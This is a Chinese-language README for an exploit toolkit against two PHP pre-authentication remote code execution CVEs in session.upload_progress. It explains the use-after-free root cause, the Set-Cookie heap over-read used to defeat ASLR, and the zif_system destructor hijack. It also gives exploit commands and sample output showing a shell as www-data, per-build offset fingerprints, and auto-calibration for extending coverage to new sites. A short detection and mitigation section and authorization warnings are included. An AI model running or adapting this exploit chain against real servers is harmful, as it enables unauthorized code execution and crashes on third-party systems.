CVE-2026-109618 / CVE-2026-109619 — PHP 预认证 RCE 利用、构建指纹与检测工具
快速开始 · CVE 与影响范围 · 利用原理 · 指纹数据 · 利用条件 · 实测状态 · 可靠性 · 退出码 · 检测与缓解 · 出处
本项目聚焦 session.upload_progress 请求预初始化路径中的 OOM 状态破坏,提供本地靶场利用、构建指纹匹配、布局测量和检测工具。利用结果与 PHP 构建、SAPI、glibc 和 profile 数据有关;仓库会区分已验证的 RCE、仅复现内存破坏和仍待测量的情况。
exploit/php2shell.py:利用与研判驱动,支持 pure Python 引擎和eness引擎;data/offsets.db.json:按构建记录的指纹库,包含来源、适用环境和验证状态;tools/calibrate_layout.py、tools/scanmem.php:免 gdb 的布局测量工具;lab/、bench/、scan/:可重复靶场、复现脚本、被动检测与配置审计。
以下示例只针对本机靶场。利用请求可能造成 worker 崩溃,不要对未获授权的系统运行。
./lab/run_target.sh start php:8.4.26-apache 18110 p2s stock
python3 exploit/php2shell.py http://127.0.0.1:18110/index.php \
--command 'id>/out/p1' --proof-file out/p1 --marker uid=candidate under test (unproven) :: x86-64-php_8.4.26_apache#pure status=RCE-VERIFIED-HERE
confirmed only once the leak's page-offset test passes
profile confirmed by the target's own leak :: x86-64-php_8.4.26_apache#pure
libphp=0x7fc594f08000 arena=0x7fc592e00000 delta=0x2108000 (positional page-offset test passed)
leak picture │ decoded=819200B ptrs=8380 cluster ███████████░ 83/87 delta │···◂·······│ 0x2108000 ∈ [0x1000000..0x4000000]
STAGE A2 + B2 :: main=0x7fc592e00000 S=0x7fc592ef8398 zif_system=0x7fc59536e370
CHAIN COMPLETE :: proof out/p1 (owner uid 33): uid=33(www-data) …
VERDICT: REMOTE CODE EXECUTION CONFIRMED
两段措辞的分工是刻意的:candidate under test (unproven) 表示"数据库里有个候选,还没被这个目标证明";
只有目标的泄露通过位置式页偏移测试之后,才会打印 profile confirmed by the target's own leak。
所以任何一次运行里都不会出现"装作匹配成功"——架构判错时会显示按证据改选,
无法证明架构时(远程且无二进制)就只报候选、不报匹配。
默认流程会从目标响应推断架构并匹配候选 profile。命中情况和阶段判据会写入终端;RCE 结果需要通过证据文件或带外通道确认。
| CVE | GHSA | CVSS v4.0 |
|---|---|---|
| CVE-2026-109618 | GHSA-w8hw-w9fx-j79w | 9.2 |
| CVE-2026-109619 | GHSA-6wmf-4rv5-p3rp | 9.2 |
| PHP 分支 | 受影响版本 | 修复版本 | 本项目实测状态 |
|---|---|---|---|
| 8.2 | 8.2.0–8.2.34 | 8.2.35 | 内存破坏可复现;该族布局尚未测量 |
| 8.3 | 8.3.0–8.3.35 | 8.3.36 | 内存破坏已复现;pure 链无越界读,eness 链泄露成立、stage 3 缺载体常量 |
| 8.4 | 8.4.0–8.4.26 | 8.4.27 | x86-64 RCE 已验证;aarch64 泄漏成立,缺少 s_off |
| 8.5 | 8.5.0–8.5.11 | 8.5.12 | RCE 已验证(8.5.11 x86-64,eness 引擎及其前提,连开三次);pure 链在此配置下生产者根本不 OOM |
修复提交:php-src@3584a98。上游将相关漏洞路径追溯至更早的 PHP 版本;本仓库当前利用链要求 PHP 7.0 及以上,实际适用范围仍取决于构建与 SAPI。
session.upload_progress 使会话解码发生在 RINIT 内部、用户脚本之前
(php_hash_environment() → sapi_handle_post() → rfc1867_post_handler() →
php_session_rfc1867_callback() → php_session_initialize() → php_session_decode())。
此阶段若分配器 OOM,修复前的实现以 longjmp 跳转至请求收尾,跳过成对的清理逻辑,
结果是 PS(id)、BG(serialize)、BG(unserialize) 仍指向已释放的请求内存。
随后的请求收尾会调用 php_session_send_cookie(),其内部
php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id))) 直接采用已释放 zend_string 头中的
长度字段,从而形成未授权的堆越界读,内容经 Set-Cookie 回显 —— 这一步在不读取任何
本地文件的前提下解决 ASLR。将伪造结构放入 arena 后,pDestructor = zif_system、
arData 指向命令串,zend_hash_destroy() 在 shutdown 阶段执行命令。由于执行发生在响应
发出之后,结果需通过产物文件或带外通道确认,不存在天然回显。
补丁 3584a98bda0f(Arnaud Le Blanc,2026-10-18)包含两项关键变更:在早读取之前将上述
全局清零(新增 php_basic_early_rinit(),由 main.c 调用),以及取消 OOM 路径上的
longjmp(软 OOM 在 VM 安全点处理,硬 OOM 直接 _exit())。我们在已修复的 8.4.27 上
验证了后者的可观测后果:相同生产者请求下,目标日志中预用户态 OOM 计数为 0。
目录结构
按职责划分:驱动、数据、测量工具、靶场、文档、证据分离;第三方代码集中放置并在 NOTICE 中标注。
php2shell-exploit/
├── exploit/
│ └── php2shell.py 利用与研判驱动(标准库实现,不要求 nm/readelf)
├── data/
│ ├── offsets.db.json 指纹库,schema 2:一个构建一条 profile,引擎作为子项
│ ├── offsets/*.env 社区互操作格式(9bie 的 offsets.py 写、eness PoC 读)
│ └── profiles/*.json 自标定回写的 profile(含实测 delta、指纹、出处)
├── tools/
│ ├── elf_syms.py 零依赖符号提取:ELF64/Mach-O64,stripped 走重定位
│ ├── macho_syms.py macOS 符号读取(上游同名工具的清单只认 ELF 裸符号名)
│ ├── php_struct_offsets.c 以目标同版本头文件量结构体偏移
│ ├── harvest_offsets.py 符号批量采集:镜像或包 -> 提取 -> 写库并产出 offsets.env
│ ├── calibrate_layout.py 布局测量:挂起请求 + 检索预置标记,无需 gdb
│ └── scanmem.php 上一步使用的全子进程 /proc/<pid>/mem 扫描器
├── lab/
│ ├── run_target.sh 靶场拉起:单 worker mod_php,两种配置(stock / eness)
│ ├── cloud_matrix.sh 云机验证矩阵:一镜像一容器,逐格执行自动模式
│ ├── harvest.sh 批量采集与逐格记账
│ ├── repro.sh 内存破坏复现,含 6 组配置对照
│ ├── serve.sh 仅启动服务,用于手工验证
│ ├── instrument.sh gdb 控制流验证(拒绝无证据的假阳性结论)
│ ├── arm64_calibrate.py aarch64 指纹与 delta 测量
│ ├── asan_repro.sh ASan 构建下的根因复现
│ └── offset_probe.py 结构体与运行时偏移探针
├── bench/ 靶场配置:apache.conf(MaxRequestWorkers=1)、php.ini、www/
├── upstream/pure/ 被调用的载荷生成器(原样收录;请求形状本身属于标定内容)
├── engines/eness_poc.py 第二引擎(vendored,stage-based)
├── scan/
│ ├── detect.py 被动研判:版本与行为,不终止 worker
│ ├── audit.sh 主机侧 php.ini 姿态审计
│ └── nuclei-*.yaml 官方被动模板
├── docs/
│ ├── 01-root-cause.md 根因:预初始化消费、OOM longjmp、补丁改了什么
│ ├── 02-exploitation.md 利用:阶段、判据、观测特征、载荷形态
│ ├── 03-fingerprints.md 指纹库结构、三类常量、三条实测规律、互操作
│ ├── 04-reliability.md 可靠性:实测序列、命中率、被排除的错误解释
│ ├── 05-detection-and-mitigation.md 检测特征、规则、缓解、修补后验证
│ └── 06-limits.md 边界:为什么不能承诺"任意站点"
├── evidence/ 跑出来的原始记录(矩阵表、复现对照、审计与研判回执、崩溃报告)
├── LICENSE NOTICE.md README.md README.en.md
└── assets/ 封面 cover.png;social-preview.svg(1280×640,可上传到 About → Social preview)
架构不需要你告诉它:版本+架构在库里有多行时,工具先发一对「生产者+泄漏」,
按泄漏指针的取值范围判定架构(0x7f… ⇒ x86-64,0xffff… ⇒ aarch64),
再据此过滤候选行。此前这一步靠人工传 --candidates,漏传就会把 aarch64 的行套到
x86-64 靶上,表现为每发都 no-page-offset-match —— 看着像"突然打不动了",其实是选错行。
未指定 profile、偏移或版本号时的实测输出(原始记录见 evidence/):
ABI from leaked pointers :: decoded=819200B families=[x86-64:8755]
runtime profile selected (proven by the target's own leak) ::
x86-64-php_8.4.26_apache#pure php=8.4.26 status=RCE-VERIFIED-HERE
libphp=0x7f058055c000 arena=0x7f057e200000 delta=0x235c000
[>] target ABI :: 8.4.26 / debian / x86-64
[>] SAPI boundary :: Apache prefork/mod_php
[>] selected payload :: x86-64-php_8.4.26_apache#pure
CHAIN COMPLETE :: proof out/p1 (owner uid 33): uid=33(www-data) …
架构判定不依赖 banner,而来自泄漏数据中指针的取值区间(0x7f… 对应 x86-64 glibc 映射,
0xffff… 对应 aarch64),因此 expose_php=Off 时同样有效。profile 的选定也不依赖信任:
每个候选都需通过开火阶段使用的同一组算术判据 —— 窗口内指针的页偏移与候选
zval_ptr_dtor 相同、据此推出的模块基址满足 4KB 对齐、且模块之下存在 2MiB 对齐的分配器
区域。不匹配的候选由目标自身否掉。
| 常量 | 参照系 | 获取方式 |
|---|---|---|
zval_ptr_dtor、zif_system |
文件内偏移,与 ASLR 无关 | tools/elf_syms.py 解析 ELF64/Mach-O64;包被 strip 时改由函数注册表与 R_*_RELATIVE 重定位恢复(x86-64 与 aarch64 均已验证) |
| 运行时基址 | 每次 worker 重启后变化 | 由链上的越界读给出 |
s_off、hsv_off、泄漏几何 |
构建相关 | tools/calibrate_layout.py:保持请求处于处理中状态,遍历全部子进程的 /proc/<pid>/mem 检索预置标记;无需 gdb |
符号侧的获取成本恒定且可批量执行;布局侧需要按构建族实测。因此覆盖率的扩展方式不是 "遍历所有版本",而是"每个族量一次几何、每个构建读一次符号"。
- 符号随补丁级别变化:8.4.25 为
0x65dc60,8.4.26 为0x65eb60,8.4.27 为0x66a620。 已发布 profile 亦会漂移:devploit 记录8.4.26-bookworm的 dtor 为0x65eb60, 而当前同名镜像中提取到的是0x64eb60。因此规则确定为:目标二进制优先于任何表值。 - 布局常量可在同一发行版构建族的相邻补丁级别之间复用,但不跨 minor 版本,也不跨 glibc 代际。8.4.25 一格使用的是 8.4.26 的几何;guaidao2 独立记录了同一 PHP 版本在 bookworm(glibc 2.36)可对齐、在 trixie(glibc 2.41)不可对齐。
- 布局观测必须在同一进程代际内完成。已发生崩溃的容器中测得的常量回喂后不产生 shell。
这一点决定了扫描必须作为利用流程内的阶段(
--measure-layout)实现,而非独立脚本。
单一流程,两个引擎,均为社区实现。
| pure(本项目实现) | eness(vendored) | |
|---|---|---|
| 配置前提 | stock php.ini-production |
memory_limit<=8M、display_errors=On、max_input_vars=1000 |
| 已验证构建 | 8.4.26、8.4.25(x86-64) | 8.4.26-bookworm、8.5.11(x86-64,本仓库复现);上游另报 3 条待复采 |
| 引擎选择依据 | 生产者响应 500 且无正文 | 响应含 Allowed memory size of N bytes,同时披露有效限额 |
选择由 --auto 完成。派发到 eness 时,符号由本项目提取后经
--zif-offset/--dtor-offset/--htdata-offset 注入 engines/eness_poc.py,其结果按本项目的
判读口径统一上报。
- PHP ≥ 7.0。 这是源码事实而不是覆盖范围:泄露件伪造的是
ZSTR_LEN(PS(id))(7.0 起php_session_send_cookie才用ZSTR_LEN;5.x 是strlen(PS(id)),读到下一个 NUL 为止,长度不可伪造),终端件用的是 7.x/8.x 的 packedzend_array布局 (nTableMask = -nTableSize+arData连续桶;5.x 是arBuckets/pListHead/nApplyCount)。 漏洞面本身可追到 5.4.0(MULTIPART_EVENT_FORMDATA在 5.6 也无条件接受 body 里的PHPSESSID),所以 PHP < 7.0 判UNSUPPORTED_CHAIN,不是"未受影响"。 - 未修复版本;
session.upload_progress.enabled=1(默认);持久 worker 的 mod_php。Server: LiteSpeed场景下首个请求即退出,不应预期 RCE。 memory_limit必须有限。注意post_max_size只丢弃带声明Content-Length的请求: 我们的生产者用无长度(chunked)请求,因而不受它限制——早先"限额须低于 post_max_size" 的说法来自探针而不是链,已更正(依据见docs/02)。- 前置不得改写或丢弃
Set-Cookie,且需放行 multipart 与不含 Content-Length 的 chunked 请求。 - 生产者与消费者需落在同一 worker。N 个 worker 时单次配对命中概率约为 1/N,
由 attempts 信封承担。靶场固定
MaxRequestWorkers=1属实验条件, 多 worker 环境的命中率尚未统计。 - 需要一条结果确认通道:docroot 内可写且可访问的路径,或可用的带外通道(HTTP / DNS)。
- 真实云主机(x86-64)上的 8 格矩阵,原始表见
evidence/cloud-matrix.tsv: 2 格 RCE、5 格内存破坏、1 格正确判定为已修复。 - 符号覆盖
7.4.33 … 8.5.12,含 amd64、aarch64 以及一个 musl 静态构建(fpm-alpine, 符号取自/usr/local/bin/php)。三处数值与上游公布结果完全一致,构成互相验证: devploit 的8.5.11-aarch64,guaidao2 与 eness 的8.4.26-bookworm常量组。 - 8.3.35 的失败位置已经定位清楚:生产者每发都返回 500(确实 OOM),但泄漏侧页号在
flood ∈ {511,255,640} × forge ∈ {0x137,0x130,0x140}内全部返回decoded=26B(未越界)⇒ 不是常量填错,而是 8.3 上悬挂 id 所在 chunk 落在别处,即泄漏形状本身不跨 minor 复用。 工具的失败诊断会区分"生产者未 OOM"与"生产者已 OOM 但泄漏形状不符"两种情形,并把 A1 状态码连同每个组合一起打出来。 8.3.35x86-64(真实云机)两条链分别的结论,避免读成互相矛盾:- pure 链(stock 128M):生产者 OOM 成立,但读回来的仍在界内 ⇒ 泄漏形状不跨 minor 复用;
- eness 链(8M +
display_errors=On):泄露侧完全成立 ——N=841由泄露自身报名、 越界读出chunk=0x7ff3e1600000、页偏移测试给出libphp=0x7ff3e36c0000; stage 3 的载体常量不在已知集合内,所以这一格停在内存破坏(DoS 级),没有假装 RCE。
- 尚未闭合:8.2 的布局测量;aarch64 上
pDestructor未出现在窗口 +8 处 (判据no-page-offset-match),推测为伪造几何随架构移动;hsv_off的自量方法尚未验证。 - 上游声明可 RCE 的构建里,
8.5.11 x86-64与8.4.26-bookworm x86-64已由我们复现 (PROOF: uid=33(www-data));其余仍属上游声明,单次抽样未落地时记为待复采,不作否证。
单次生产者请求即可能终止一个 worker,在生产环境中表现为一次 5xx 或超时。为此工具输出 可审计的执行账本:
candidate verdict chunk base delta fp ms
x86-64-php_8.4.26_apache#pure LEAK_FAILED - - 0 1522
x86-64-php_8.4.26_apache#pure RCE_CONFIRMED 0x7f0ef7800000 0x1cd8000 83 5140
SUMMARY candidates=1 proofs=1 misses=0
--sweep 按状态等级顺序尝试同一 ABI 下的全部候选;前两名获得完整的 --attempts 预算,
其余各两次。将预算均匀分配至 16 个候选时,正确候选反而因尝试不足而未命中 —— 该策略由此调整。
判据一律取自架构级不变量:模块映射页对齐、glibc arena 2MiB 对齐且位于模块之下、指针页偏移
与候选 dtor 相同。特定构建上观察到的经验值(众数指针身份、桶计数 87、
0x1A00000..0x1F00000 的 delta 窄带)仅作为 profile 提示保留:同一镜像在不同 ASLR 世代下
实测 delta 为 0x1bb7000 / 0x1c6a000 / 0x1cd8000 / 0x235c000 / 0x247a000。
python3 scan/detect.py https://SITE/
nuclei -t scan/nuclei-CVE-2026-109618.yaml -u https://SITE/
bash scan/audit.sh最具判别力的网络特征是异常长的 Set-Cookie: PHPSESSID=(可达数百 KB,且包含百分号转义的
不可打印字节)。缓解以升级为准;过渡期可关闭 session.upload_progress,8.5 分支配合
fatal_error_backtraces=0。memory_limit=-1 不构成缓解,它只是移除了本链的触发条件。
检测规则与验证方法见 docs/05-detection-and-mitigation.md。
--color always 是为了 ssh host '...' 这种场景:没有 tty 时旧的 not isatty() 规则会把整个
调色板丢掉,看起来"没有颜色"。现在三种取值 auto|always|never,也认环境变量 P2S_COLOR。
除时间戳日志外,每次运行额外给两行可视化:
leak picture │ decoded=819200B ptrs=8380 cluster ███████████░ 83/87 delta │···◂·······│ 0x1ccb000 ∈ [0x1000000..0x4000000]
chain │ ✓recon(8.4.26) ✓producer(oom) ✓leak(arena=0x7f3c0ca00000) ✓layout ✓terminal
cluster是实测桶指针数与 profile 期望值的比值条;delta是本次测量值落在允许带里的位置(不是"通过/不通过"两个字母,看得出离边界多远);chain一行显示六个阶段各自走到哪一步:绿✓通过、红✗失败、黄◐待定、灰·未执行。 失败时这一行就是"卡在哪"的定位器,不用往上翻日志。
| 码 | 结论表述 |
|---|---|
| 0 | 仅表示拿到了执行证据(附 proof 与 --json 回执);越界读成立但未开火不给 0 |
| 2 | 内存破坏(DoS 级):崩溃成立,且泄露本身也没形成,不应表述为未受影响 |
| 2↔5 | 区分方式:泄露形成但几何不符时报 5 并附具名理由(如 dtor-pointer-not-in-window),因为下一步动作是「去量这个构建」,而不是「这台打不了」 |
| 4 | 未受影响 / 被前置拦截 / 请求不可达(PATH_NOT_REACHABLE 也归此类,与"破坏"区分) |
| 5 | 漏洞已证、未取得执行:越界读成立但 profile 缺 s_off/hsv_off、无可匹配行、或已标定而本轮未落地 |
| 6 | 漏洞面存在但本链不适用(PHP < 7.0:ZSTR_LEN 不可伪造、packed 布局不同) |
失败原因均具名,尤其区分以下两项,其处置方式不同:leaked-our-own-flood
(越界读成立但内容为自身洪泛数据,属生产者状态未形成,与二进制无关,可重跑)与
no-page-offset-match(候选 .so 与目标构建不符)。
机制、载荷形状、常量与标定方法都来自社区,逐条出处(含链接、上游当前许可状态、
我们收录时的 commit)见 NOTICE.md。摘要:
| 用途 | 来源 | 许可 |
|---|---|---|
pure 引擎的载荷生成器与 chunked 传输(upstream/pure/,逐字收录) |
9bie/php2shell-bypass-aslr-exp | 上游未附 LICENSE |
eness 引擎(engines/,逐字收录) |
eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC | 上游未附 LICENSE |
按构建的 profile 数据 + 标定算法(--auto-calibrate 的过程) |
devploit/php2shell | MIT |
免 gdb 的载体偏移测量(扣尾 + /proc/<pid>/mem 扫描) |
guaidao2/php2shell-exploit-labstyle | 未附 LICENSE(思想引用) |
多形状生产者、逐原语三态预检表、post_max_size 与 chunked 的关系 |
ikow/php2shell-poc | MIT |
| 检测与缓解口径 | NCSC-NL/php2shell、ronoski/php2shell-detect | EUPL-1.2 / MIT |
漏洞本体的一手出处:GHSA-w8hw-w9fx-j79w
· GHSA-6wmf-4rv5-p3rp
· 修复提交 php-src@3584a98。
一处值得单独说明的更正:我们曾把"12MB 单字段返回 200 空响应"读成"worker 被打死"。
真相是 post_max_size 只丢弃带声明 Content-Length 的请求,而链的生产者用无长度
(chunked)请求,因而不受它限制——这条由 ikow 的分析文档给出并被我们复现,细节见
docs/02-exploitation.md。
本工具是可终止 worker 的远程利用,而非被动扫描,请先取得书面授权再对生产资产使用。
关于"任意站点"的准确表述是:可利用集合为"指纹库中存在其构建(或同族几何)记录的目标"。
该集合可以扩展 —— --auto --auto-calibrate 在缺失记录时现场测量并写回,同一构建的下一个
站点即转为查表命中。
Topics: php-security · CVE-2026-109618 · CVE-2026-109619 · RCE · session-upload-progress · mod-php · PHP-FPM · Zend Engine · ASLR · exploit-development · proof-of-concept
